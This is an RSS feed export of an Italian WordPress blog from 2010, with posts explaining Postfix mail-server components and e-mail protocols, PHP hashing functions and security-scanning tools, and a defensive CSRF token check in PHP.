<li><span style="font-size:small;"><em>incoming</em></span><span style="font-size:small;">: 	accoglie nuovi messaggi ricevuti dagli host remoti, così come 	quelli già processati ricevuti dagli utenti locali</span></li>
<li><span style="font-size:small;"><em>active</em></span><span style="font-size:small;">: 	accoglie messaggi pronti per essere consegnati da Posftix</span></li>
<li><span style="font-size:small;"><em>deferred</em></span><span style="font-size:small;">: 	accoglie messaggi che hanno fallito il primo tentativo di consegna e 	attendono per una nuova opportunità di invio</span></li>
<li><span style="font-size:small;"><em>mail</em></span><span style="font-size:small;">: 	 messaggi consegnati e pronti per essere letti dagli utenti locali</span></li>
</ul>
<ul>
<li><span style="font-size:small;">Programmi di utilità</span>
<ul>
<li><span style="font-size:small;">Oltre ai programmi “core” esistono anche delle 		utilità che possono essere sfruttate dagli amministratori di 		sistema per manipolare e consegnare messaggi, eccone l&#8217;elenco 		completo:</span>
<ul>
<li><span style="font-size:small;"><em>mailq</em>: controlla la code di Postfix e ne 			mostra il risultato</span></li>
<li><span style="font-size:small;"><em>postalias</em>: 			crea, aggiorna o interroga il database alias di Postfix</span></li>
<li><span style="font-size:small;"><em>postcat:</em> mostra i contenuti dei file presenti in una determinata coda</span></li>
<li><span style="font-size:small;"><em>postconf</em>: 			mostra e modifica le righe di configurazione del file <em>main.cf</em></span></li>
<li><span style="font-size:small;"><em>postfix: 			c</em>ontrolla le fasi di avvio, 			spegnimento e riavvio del sistema Postfix</span></li>
<li><span style="font-size:small;"><em>postkick</em>: 			invia comandi richiesti  dai servizi Postfix in esecuzione</span></li>
<li><span style="font-size:small;"><em>postlock: </em>blocca 			un determinato file di Postfix ed esegue un comando</span></li>
<li><span style="font-size:small;"><em>postlog: </em>logga 			un messaggio a livello di sistema utilizzando lo stile di logging 			di Postfix</span></li>
<li><span style="font-size:small;"><em>postmap</em>: 			crea o interroga una tabella di lookup</span></li>
<li><span style="font-size:small;"><em>postsuper</em>: 			manutiene una specifica diirectory (coda)</span></li>
<li><span style="font-size:small;"><em>sendmail</em>: 			fornisce una interfaccia simile a quella di sendmail al fine di 			inviare messaggi alla coda <em>maildrop</em></span></li>
</ul>
</li>
</ul>
</li>
<li><span style="font-size:small;">File di configurazione:</span>
<ul>
<li><span style="font-size:small;">i file di configurazione contengono informazioni 		utilizzate poi dal programma durante la gestione dei messaggi. 		Postfix rispetto ad altri MTA, lascia la possibilità agli 		amministratori di modificare i file di configurazione e poi rendere 		attive le modifiche senza fermare il servizio.</span><span style="font-size:small;">Ecco i file di configurazione di Postfix:</span>
<ul>
<li><span style="font-size:small;"><em>install.cf</em>: 			contiene le informazioni utilizzate dal programma durante la fase 			di installazione</span></li>
<li><span style="font-size:small;"><em>main.cf</em>: 			contiene i parametri utilizzati dai programmi postfix quando 			gestiscono i messaggi </span></li>
<li><span style="font-size:small;"><em>master.cf:</em> contiene i parametri utilizzati dal programma <em>master </em>quando esegue i programmi 			“core”</span></li>
</ul>
</li>
</ul>
</li>
<li><span style="font-size:small;">Tabelle di controllo/configurazione:</span>
<ul>
<li><span style="font-size:small;">le tabelle di lookup vengono generate dagli 		amministratori di sistema per gestire la consegna dei messaggi 		all&#8217;interno del sistema Postfix, eccone un elenco:</span>
<ul>
<li><span style="font-size:small;"><em>access</em>: 			mappa determinati host SMTP al fine di accettarne o scartarne i  			messaggi</span></li>
<li><span style="font-size:small;"><em>aliases</em>: 			mappa indirizzi alternativi rispetto a mailbox locali</span></li>
<li><span style="font-size:small;"><em>canonical: </em>mappa nomi di mailbox 			alternative rispetto a mailbox reali presenti negli header dei 			messaggi</span></li>
<li><span style="font-size:small;"><em>relocated: </em>mappa nomi di vecchie mailbox 			verso il nuovo nome </span></li>
<li><span style="font-size:small;"><em>transport: </em>mappa nomi di dominio e 			tipologie di consegna per host remoti</span></li>
<li><span style="font-size:small;"><em>virtual: </em>mappa domini e indirizzi 			verso mailbox locali per il trasporto</span></li>
</ul>
</li>
</ul>
</li>
</ul>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/poyblog.wordpress.com/346/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/poyblog.wordpress.com/346/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/poyblog.wordpress.com/346/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/poyblog.wordpress.com/346/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/poyblog.wordpress.com/346/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/poyblog.wordpress.com/346/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/poyblog.wordpress.com/346/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/poyblog.wordpress.com/346/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/poyblog.wordpress.com/346/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/poyblog.wordpress.com/346/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/poyblog.wordpress.com/346/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/poyblog.wordpress.com/346/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/poyblog.wordpress.com/346/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/poyblog.wordpress.com/346/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=poyblog.wordpress.com&amp;blog=5529260&amp;post=346&amp;subd=poyblog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://poyblog.wordpress.com/2010/10/31/postfix-servizi/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e955a57a0d28417ff92ff0bc52707d45?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">poyblog</media:title>
		</media:content>
	</item>
		<item>
		<title>Postfix &#8211; Servizi e-mail</title>
		<link>http://poyblog.wordpress.com/2010/10/26/postfix-servizi-e-mail/</link>
		<comments>http://poyblog.wordpress.com/2010/10/26/postfix-servizi-e-mail/#comments</comments>
		<pubDate>Tue, 26 Oct 2010 21:40:25 +0000</pubDate>
		<dc:creator>poyblog</dc:creator>
				<category><![CDATA[postfix]]></category>
		<category><![CDATA[server di posta]]></category>

		<guid isPermaLink="false">http://poyblog.wordpress.com/?p=334</guid>
		<description><![CDATA[In questo articolo andremo a ritroso nel tempo per capire che tipo di evoluzione c&#8217;è stata nel modo di utilizzare i messaggi elettronici e che tecnologie la hanno accompagnata nel tempo. Partiamo dal primo sistema creato per scambiarsi messaggi elettronici, ovvero un mainframe atto alla comunicazione ed allo scambio di messaggi fra persone. In questo [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=poyblog.wordpress.com&amp;blog=5529260&amp;post=334&amp;subd=poyblog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><span style="font-size:small;">In questo articolo andremo a ritroso nel tempo per capire che tipo di evoluzione c&#8217;è stata nel modo di utilizzare i messaggi elettronici e che tecnologie la hanno accompagnata nel tempo.</span></p>
<p><span style="font-size:small;">Partiamo dal primo sistema creato per scambiarsi messaggi elettronici, ovvero un mainframe atto alla comunicazione ed allo scambio di messaggi fra persone. In questo caso i due interlocutori dovevano essere connessi fisicamente e nello stesso momento tramite due terminali al mainframe per potersi scambiare informazioni elettroniche.</span></p>
<p><span id="more-334"></span><span style="font-size:small;">Col tempo nacque la necessità di permettere ai messaggi di rimanere all&#8217;interno di un sistema di storage, sia per essere consultati in modo asincrono dai vari utenti che per mantenere alcune informazioni preziose nel sistema.</span></p>
<p><span style="font-size:small;">L&#8217;ultima evoluzione in questo campo è stata la capacità di collegare fisicamente fra loro mainframe differenti, in modo tale da permettere a utenti dislocati anche in settori diversi e con terminali allocati a calcolatori differenti di comunicare fra loro.</span></p>
<p><span style="font-size:small;">I sistemi E-mail Unix rispetto ai mainframe appena citati utilizzavano ed utilizzano tuttoggi un approccio molto più modulare, ogni porzione del sistema di scambio messaggi viene gestito da un modulo separato.  Di seguito tutti i moduli che costituiscono un mail-server unix:</span></p>
<ul>
<li><span style="font-size:small;">e-mail 	database</span></li>
<li><span style="font-size:small;">MUA 	(Mail User Agnet) → Interfaccia per l&#8217;utente finale</span></li>
<li><span style="font-size:small;">MDA 	(Mail Delivery Agent) → Responsabile della consegna presso 	l&#8217;utente locate del messaggio di posta</span></li>
<li><span style="font-size:small;">MTA 	(Mail Transfert Agent) → E&#8217; il responsabile dell&#8217;invio di un 	messaggio verso un account non locale ma remoto. E&#8217; il modulo su cui 	si concentra tutto il libro</span></li>
</ul>
<p><span style="font-size:small;">Per ogni modulo esistono diversi prodotti a livello software nel mondo Unix, eccone alcuni:</span></p>
<ul>
<li><span style="font-size:small;">MTA</span>
<ul>
<li><span style="font-size:small;">Sendmail 		(<a href="http://www.sendmail.org/">http://www.sendmail.org</a>)</span></li>
<li><span style="font-size:small;">Qmail 		(<a href="http://www.qmail.org/">http://www.qmail.org</a>)</span></li>
<li><span style="font-size:small;">Postfix 		(Oggetto di questa serie di articoli)</span></li>
<li><span style="font-size:small;">smail</span></li>
</ul>
</li>
<li><span style="font-size:small;">MUA</span>
<ul>
<li><span style="font-size:small;">mail</span></li>
<li><span style="font-size:small;">pine</span></li>
</ul>
</li>
</ul>
<p><span style="font-size:small;">Nella ultima parte di questo corposo articolo accennerò ad alcuni dei protocolli più comuni nel mondo e-mail. Tutti questi sistemi verranno approfonditi nei successivi articoli.</span></p>
<p><span style="font-size:small;">Uno dei protocolli più famosi a livello MTA ed ormai un standard de-facto è SMTP Simple Mail Transfer Protocol, sviluppato proprio per spedire messaggi attraverso la rete internet</span></p>
<p><span style="font-size:small;">Di seguito nell&#8217;immagine è utile apprezzare come funzione una comunicazione SMTP:</span></p>
<p><span style="font-size:small;"><a href="http://poyblog.files.wordpress.com/2010/10/grafo1.png"><img class="aligncenter size-full wp-image-336" title="Grafo" src="http://poyblog.files.wordpress.com/2010/10/grafo1.png?w=475&#038;h=301" alt="" width="475" height="301" /></a><br />
</span></p>
<p><span style="font-size:small;">A livello MUA esistono due protocolli che la fanno da padrone:</span></p>
<ul>
<li><span style="font-size:small;">POP3, 	ovvero Post Office Protocol. In questo caso i messaggi vengono 	sempre scaricati dalla mailbox remota verso il programma di gestione 	e-mail locale, portando la cancellazione delle e-mail remote.</span></li>
<li><span style="font-size:small;">IMAP, 	ovvero Interactive Mail Access Protocol. In questo caso i messaggi 	risiedono sempre sul server remoto, e vengono scaricati solo per la 	fase di visualizzazione degli stessi</span></li>
</ul>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/poyblog.wordpress.com/334/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/poyblog.wordpress.com/334/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/poyblog.wordpress.com/334/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/poyblog.wordpress.com/334/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/poyblog.wordpress.com/334/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/poyblog.wordpress.com/334/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/poyblog.wordpress.com/334/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/poyblog.wordpress.com/334/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/poyblog.wordpress.com/334/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/poyblog.wordpress.com/334/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/poyblog.wordpress.com/334/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/poyblog.wordpress.com/334/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/poyblog.wordpress.com/334/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/poyblog.wordpress.com/334/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=poyblog.wordpress.com&amp;blog=5529260&amp;post=334&amp;subd=poyblog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://poyblog.wordpress.com/2010/10/26/postfix-servizi-e-mail/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e955a57a0d28417ff92ff0bc52707d45?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">poyblog</media:title>
		</media:content>

		<media:content url="http://poyblog.files.wordpress.com/2010/10/grafo1.png" medium="image">
			<media:title type="html">Grafo</media:title>
		</media:content>
	</item>
		<item>
		<title>Postfix – introduzione</title>
		<link>http://poyblog.wordpress.com/2010/10/12/postfix-introduzione/</link>
		<comments>http://poyblog.wordpress.com/2010/10/12/postfix-introduzione/#comments</comments>
		<pubDate>Tue, 12 Oct 2010 20:14:27 +0000</pubDate>
		<dc:creator>poyblog</dc:creator>
				<category><![CDATA[postfix]]></category>

		<guid isPermaLink="false">http://poyblog.wordpress.com/?p=328</guid>
		<description><![CDATA[Dopo tanto silenzio, ecco che ritorno con una nuova serie di articoli riguardanti uno fra gli applicativi maggiormente utilizzato dai mail server di tutto il mondo → POSTFIX. Questo nuovo elenco di discussioni si basa sulla lettura del libro: Postfix della SAMS Publishing scritto da Richard Blum e pubblicato per la prima volta nel Maggio [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=poyblog.wordpress.com&amp;blog=5529260&amp;post=328&amp;subd=poyblog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><span style="font-size:small;">Dopo tanto silenzio, ecco che ritorno con una nuova serie di articoli riguardanti uno fra gli applicativi  maggiormente utilizzato dai mail server di tutto il mondo → POSTFIX.</span></p>
<p><span style="font-size:small;">Questo nuovo elenco di discussioni si basa sulla lettura del libro:</span></p>
<ul>
<li><span style="font-size:small;">Postfix 	della SAMS Publishing scritto da Richard Blum e pubblicato per la 	prima volta nel Maggio 2001.</span></li>
</ul>
<p><span style="font-size:small;">Ho scelto di pubblicare degli articoli relativi a questo libro sia per analizzare più a fondo alcuni concetti fondamentali, riuscendo magari a far nascere qualche commento di interesse e poi per far vedere agli utenti non tecnici cosa c&#8217;è “dietro” al servizio di invio/ricezione dei messaggi di posta elettronica. Un servizio che nell&#8217;ultimo decennio è cresciuto esponenzialmente diventando ormai uno degli strumenti di comunicazione più utilizzati sia a livello personale che lavorativo.</span></p>
<p><span style="font-size:small;"><span id="more-328"></span><br />
</span></p>
<p><span style="font-size:small;">Come sarete ormai abituati seguirò fedelmente il percorso del libro, andando ad enfatizzare alcuni concetti rilevanti.</span></p>
<p><span style="font-size:small;">Il libro si suddivide i 3 macro sezioni:</span></p>
<ul>&nbsp;</p>
<li><span style="font-size:small;">Parte 	introduttiva relativa ai servizi che stanno alla base del sistema di 	invio/ricezione e-mail e di Postfix</span></li>
</ul>
<ol>
<li>
<ol>
<li><span style="font-size:small;">Servizi 		alla base del sistema di e-mailing</span></li>
<li><span style="font-size:small;">Servizi 		che caratterizzano Postfix</span></li>
<li><span style="font-size:small;">Requisiti 		di sistema di Postfix</span></li>
<li><span style="font-size:small;">Risoluzione 		dei nomi e Postfix</span></li>
<li><span style="font-size:small;">SMTP 		e Postfix</span>&nbsp;</li>
</ol>
</li>
<p><span style="font-size:small;">Per 	questa sezione spenderò cinque articoli all&#8217;interno dei quali 	parlerò di:</span></ol>
<ul>
<li><span style="font-size:small;">La 	parte centrale si concentra sulle fasi di installazione e 	configurazione del servizio.</span><span style="font-size:small;">In 	questa parte, che è poi la più corposa si darà spazio a 11 	articoli:</span></li>
</ul>
<ol>
<li><span style="font-size:small;">Installare 	Postfix</span></li>
<li><span style="font-size:small;">Analisi 	del file di configurazione </span><span style="font-size:small;"><em><strong>master.cf</strong></em></span></li>
<li><span style="font-size:small;">Analisi 	del file di configurazione</span><span style="font-size:small;"><strong> </strong></span><span style="font-size:small;"><em><strong>main.cf</strong></em></span></li>
<li><span style="font-size:small;">Tabelle 	di Lookup in Postfix</span></li>
<li><span style="font-size:small;">Utilizzo 	di Postfix</span></li>
<li><span style="font-size:small;">Utilizzo 	di Postfix come un Mail Server ISP (Internet Service Provider)</span></li>
<li><span style="font-size:small;">Utilizzare 	postfix come un Mail Server d&#8217;ufficio</span></li>
<li><span style="font-size:small;">Amministrazione 	di un server Postfix</span></li>
<li><span style="font-size:small;">M9igrazione 	da Sendmail a Postfix</span></li>
<li><span style="font-size:small;">Utilizzare 	il Formato Maildir per le caselle  di posta</span></li>
<li><span style="font-size:small;">Sftruttare 	programmi MDA (Mail Delivery Agent) con Postfix</span></li>
</ol>
<ul>
<li>
<ul></ul>
</li>
<li><span style="font-size:small;">L&#8217;ultima 	parte tratta alcune opzioni avanzate del sistema postfix, come 	l&#8217;analisi delle performance e la gestione degli errori.</span><span style="font-size:small;">Ecco 	l&#8217;insieme di articoli che caratterizzerà questa terza ed ultima 	parte:</span></li>
</ul>
<ol>
<li><span style="font-size:small;">Utilizzare 	Mysql con Postfix</span></li>
<li><span style="font-size:small;">Utilizzare 	OpenLDAP con Postfix</span></li>
<li><span style="font-size:small;">Utilizzare 	Majordomo con Postfix</span></li>
<li><span style="font-size:small;">Utilizzare 	POP3 e IMAP con Postfix</span></li>
<li><span style="font-size:small;">Utilizzare 	SqWebMail con Postfix</span></li>
<li><span style="font-size:small;">Analisi 	delle prestazioni di Postfix</span></li>
<li><span style="font-size:small;">Problemi 	ricorrenti e comuni relativi a Postfix</span></li>
</ol>
<p><span style="font-size:small;">Non si può concludere un capitolo introduttivo ad un capitolo senza alcuni cenni all&#8217;autore.</span></p>
<p><strong><span style="font-size:small;">Rich Blum </span></strong><span style="font-size:small;">ha lavorato nei 12 anni precedenti la pubblicazione di  questo libro come amministratore di rete e di sistema al dipartimento della difesa degli Stati Uniti, venendo a contatto con sistemi UNIX come:</span></p>
<ul>
<li><span style="font-size:small;">FTP 	server</span></li>
<li><span style="font-size:small;">mail 	server</span></li>
<li><span style="font-size:small;">sistemi 	di monitoraggio della rete</span></li>
</ul>
<p><span style="font-size:small;">all&#8217;interno di sistemi di dimensione elevata.</span></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/poyblog.wordpress.com/328/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/poyblog.wordpress.com/328/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/poyblog.wordpress.com/328/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/poyblog.wordpress.com/328/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/poyblog.wordpress.com/328/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/poyblog.wordpress.com/328/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/poyblog.wordpress.com/328/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/poyblog.wordpress.com/328/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/poyblog.wordpress.com/328/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/poyblog.wordpress.com/328/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/poyblog.wordpress.com/328/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/poyblog.wordpress.com/328/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/poyblog.wordpress.com/328/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/poyblog.wordpress.com/328/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=poyblog.wordpress.com&amp;blog=5529260&amp;post=328&amp;subd=poyblog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://poyblog.wordpress.com/2010/10/12/postfix-introduzione/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e955a57a0d28417ff92ff0bc52707d45?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">poyblog</media:title>
		</media:content>
	</item>
		<item>
		<title>PHP, strumenti crittografici e utility per la protezione di applicazioni</title>
		<link>http://poyblog.wordpress.com/2010/05/08/php-strumenti-crittografici-e-utility-per-la-protezione-di-applicazioni/</link>
		<comments>http://poyblog.wordpress.com/2010/05/08/php-strumenti-crittografici-e-utility-per-la-protezione-di-applicazioni/#comments</comments>
		<pubDate>Sat, 08 May 2010 15:02:14 +0000</pubDate>
		<dc:creator>poyblog</dc:creator>
				<category><![CDATA[sicurezza]]></category>
		<category><![CDATA[crittografia]]></category>
		<category><![CDATA[hardening]]></category>
		<category><![CDATA[hash]]></category>

		<guid isPermaLink="false">http://poyblog.wordpress.com/?p=324</guid>
		<description><![CDATA[In questo articolo conclusivo relativo alla sicurezza del linguaggio PHP elencherò alcuni dei più importanti metodi crittografici mesi a disposizione dal linguaggio ed alcuni dei migliori tool di analisi di sicurezza per applicazioni PHP Per quanto riguarda gli strumenti crittografici messi a disposizione da PHP ci sono: md5() → restituisce un numero esadecimale di 32 [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=poyblog.wordpress.com&amp;blog=5529260&amp;post=324&amp;subd=poyblog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>In questo articolo conclusivo relativo alla sicurezza del linguaggio PHP elencherò alcuni dei più importanti metodi crittografici mesi a disposizione dal linguaggio ed alcuni dei migliori tool di analisi di sicurezza per applicazioni PHP</p>
<p><span id="more-324"></span></p>
<p>Per quanto riguarda gli strumenti crittografici messi a disposizione da PHP ci sono:</p>
<ul>
<li>md5() → 	restituisce un numero esadecimale di 32 caratteri data una stringa</li>
<li>md5_file() →  	fa la stessa cosa del comando precedente con un file in input</li>
<li>sha1() → 	genera l&#8217;hash sha1 di una stringa restituendo un numero esadecimale 	di 40 caratteri</li>
<li>sha1_file() → 	fa la stessa cosa del comando precedente con un file in input</li>
<li>crypt() → 	calcola l&#8217;hash di una stringa sfruttando algoritmi differenti in 	base al sistema operativo ospitante</li>
</ul>
<p>Per utilizzare le funzioni di cifratura vere e proprie si deve utilizzare il modulo mcrypt, che supporta  molti degli algoritmi di cifratura:</p>
<ul>
<li>DES</li>
<li>TripleDES</li>
<li>BLOWFISH</li>
<li>AES</li>
<li>etc&#8230;</li>
</ul>
<p>Le funzioni da utilizzare in questo caso sono mcrypt_encrypt() e mcrypt_decript().</p>
<p>Non entro nel merito di come utilizzare tali funzioni, per maggiori informazioni è possibile consultare il sito ufficiale PHP alla pagina <a href="http://www.php.net/manual/en/function.mcrypt-module-open.php">http://www.php.net/manual/en/function.mcrypt-module-open.php</a> dove c&#8217;è n esempio di utilizzo della funzione in questione.</p>
<p>In questo ultimo articolo relativo alla sicurezza del programma PHP presento un elenco di strumenti atti al controllo e alla valutazione della sicurezza di una applicazione. Ecco l&#8217;elenco:</p>
<ul>
<li>PHP 	Security Scanner → 	<a href="http://sourceforge.net/projects/securityscanner/">http://sourceforge.net/projects/securityscanner/</a> , esegue la scansione di file/directory. E&#8217; composto da due moduli, 	uno script php ed un db Mysql all&#8217;interno del quale sono presenti i 	pattern noti per analizzare il codice.</li>
<li>Pixy 	→ <a href="http://pixybox.seclab.tuwien.ac.at/pixy">http://pixybox.seclab.tuwien.ac.at/pixy</a><a href="http://pixybox.seclab.tuwien.ac.at/pixy"> scritto 	in Java analizza codice PHP per verificare possibili vulnerabilità 	di tipo SQLInjection e XSS</a></li>
<li>PHP-sat 	→ <a href="http://www.program-transformation.org/PHP/">http://www.program-transformation.org/PHP/</a><a href="http://www.program-transformation.org/PHP/"> </a><a href="http://www.program-transformation.org/PHP/">, 	analizza 	il codice in base ad un insieme di pattern</a></li>
<li>PHP-front 	→ <a href="http://strategoxt.org/PHP/PhpFront">http://strategoxt.org/PHP/PhpFront</a> , analisi statica del codice</li>
<li>PHP-tools 	→ <a href="http://strategoxt.org/PHP/PhpTools">http://strategoxt.org/PHP/PhpTools</a><a href="http://strategoxt.org/PHP/PhpTools"> , simile a quello precedente</a></li>
<li>PHP 	String Analyzer → 	<a href="http://www.score.is.tsukuba.ac.jp/%7Eminamide/phpsa/">http://www.score.is.tsukuba.ac.jp/~minamide/phpsa/</a>, 	simile ai due precedenti</li>
<li>Suhosin 	→ <a href="http://www.hardened-php.net/suhosin/index.html">http://www.hardened-php.net/suhosin/index.html</a> ,strumento di hardening (messa in sicurezza) di applicazioni PHP</li>
</ul>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/poyblog.wordpress.com/324/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/poyblog.wordpress.com/324/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/poyblog.wordpress.com/324/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/poyblog.wordpress.com/324/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/poyblog.wordpress.com/324/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/poyblog.wordpress.com/324/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/poyblog.wordpress.com/324/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/poyblog.wordpress.com/324/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/poyblog.wordpress.com/324/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/poyblog.wordpress.com/324/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/poyblog.wordpress.com/324/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/poyblog.wordpress.com/324/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/poyblog.wordpress.com/324/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/poyblog.wordpress.com/324/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=poyblog.wordpress.com&amp;blog=5529260&amp;post=324&amp;subd=poyblog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://poyblog.wordpress.com/2010/05/08/php-strumenti-crittografici-e-utility-per-la-protezione-di-applicazioni/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e955a57a0d28417ff92ff0bc52707d45?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">poyblog</media:title>
		</media:content>
	</item>
		<item>
		<title>La sicurezza in PHP – parte quarta [SESSIONI]</title>
		<link>http://poyblog.wordpress.com/2010/05/06/la-sicurezza-in-php-%e2%80%93-parte-quarta-sessioni/</link>
		<comments>http://poyblog.wordpress.com/2010/05/06/la-sicurezza-in-php-%e2%80%93-parte-quarta-sessioni/#comments</comments>
		<pubDate>Thu, 06 May 2010 19:28:21 +0000</pubDate>
		<dc:creator>poyblog</dc:creator>
				<category><![CDATA[sicurezza]]></category>
		<category><![CDATA[hijacking]]></category>
		<category><![CDATA[sessioni]]></category>
		<category><![CDATA[token]]></category>

		<guid isPermaLink="false">http://poyblog.wordpress.com/?p=321</guid>
		<description><![CDATA[Nell&#8217;articolo http://poyblog.wordpress.com/2010/04/14/sicurezza-del-linguaggio-javascript-metodologie-di-attacco/ avevo già accennato ad un tipo di attacco detto CSRF (Cross Site Request Forgery), che consiste nel “forgiare” sessioni di autenticazione attive grazie all&#8217;utilizzo di determinate URL cui un ignaro utente si sottopone. In questo modo un hacker, contraffacendo la sessione di un utente può utilizzare la credenziali del malcapitato per eseguire delle [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=poyblog.wordpress.com&amp;blog=5529260&amp;post=321&amp;subd=poyblog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Nell&#8217;articolo <a href="../../../../../2010/04/14/sicurezza-del-linguaggio-javascript-metodologie-di-attacco/">http://poyblog.wordpress.com/2010/04/14/sicurezza-del-linguaggio-javascript-metodologie-di-attacco/</a> avevo già accennato ad un tipo di attacco detto <em>CSRF</em> (<em>Cross Site Request Forgery</em>), che consiste nel “forgiare” sessioni di autenticazione attive grazie all&#8217;utilizzo di determinate URL cui un ignaro utente si sottopone.</p>
<p><span id="more-321"></span>In questo modo un hacker, contraffacendo la sessione di un utente può utilizzare la credenziali del malcapitato per eseguire delle operazioni in un&#8217;area privata , come un e-commerce per esempio.</p>
<p>Innanzitutto questa tecnica di attacco colpisce solo gli utenti che sono in un tale momento connessi ed autenticati.</p>
<p>Esiste comunque un metodo per rendere più complicato l&#8217;attacco<em> CSRF </em>, ovvero l&#8217;utilizzo di un token, generato pseudo-casualmente ed inserito nella variabile di sessione al momento della avvenuta autenticazione.</p>
<p>Tale valore dovrà poi essere presente in ogni pagina “privata” permettendo un confronto ad ogni visualizzazione fra il valore nella variabile sessione ed il valore della pagina corrente.</p>
<p>Quindi ogni pagina privata avrà un campo hidden del tipo:</p>
<p><em>&lt;input type=&#8217;hidden&#8217; name=&#8217;token&#8217; value=&#8217;&lt;?php echo $token ?&gt;&#8217;/&gt;</em></p>
<p>e a ogni caricamento di una pagina privata, prima di eseguire qualsivoglia operazione verrà eseguito un controllo del tipo:</p>
<p><em>if (isset ($_SESSION['token']) &amp;&amp; isset($_POST['token']) &amp;&amp; $_POST['token'] == $_SESSION['token']){</em></p>
<p><em> // Eseguo le operazioni della area riservata dato che il token è valido</em></p>
<p><em>}</em></p>
